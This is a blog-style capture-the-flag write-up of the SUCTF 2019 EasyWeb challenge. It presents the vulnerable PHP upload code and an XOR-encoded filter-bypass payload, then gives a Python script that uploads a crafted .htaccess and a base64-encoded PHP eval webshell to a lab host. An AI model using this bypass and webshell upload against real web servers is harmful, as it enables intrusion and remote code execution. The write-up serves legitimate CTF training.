[wp][SUCTF 2019]EasyWeb

最新推荐文章于 2025-02-15 23:00:00 发布

原创最新推荐文章于 2025-02-15 23:00:00 发布 · 166 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#php

ctf刷题专栏收录该内容

14 篇文章

订阅专栏

这篇博客探讨了PHP代码中的文件上传安全问题。通过分析`get_the_flag`函数，可以看出代码存在过滤不严的漏洞，允许恶意用户通过构造特殊字符组合绕过限制，实现PNG+htaccess文件上传。作者详细展示了如何利用这些漏洞构造请求，包括创建.htaccess文件来改变文件解析方式，并上传PHP后门。虽然成功上传，但由于open_basedir限制，无法直接获取flag。解决这个问题可能需要利用蚁剑等工具进行进一步操作。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

先看后半段
构造$_GET()

_GET %FF%FF%FF%FF^%A0%B8%BA%AB
${%FF%FF%FF%FF^%A0%B8%BA%AB}($%ff)()&$%ff=phpinfo

?_=${%FF%FF%FF%FF^%A0%B8%BA%AB}{%ff}();&%ff=phpinfo

上面那一段,就是使用png+htaccess 上传就可以

<?php

 $a = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
 echo $a;

获得上传路径

import requests
import base64

rqurl="http://1cb8e60f-703b-4879-95cb-df61ee50a07d.node4.buuoj.cn:81/"
payload1="?_=${%FF%FF%FF%FF^%A0%B8%BA%AB}{%ff}();&%ff=get_the_flag"
url=rqurl+payload1
#通过define绕过exif_imagetype函数
htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.abc"
"""
shell = b"GIF89a00" + base64.b64encode(b"<?php eval($_POST['h']);?>")


files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)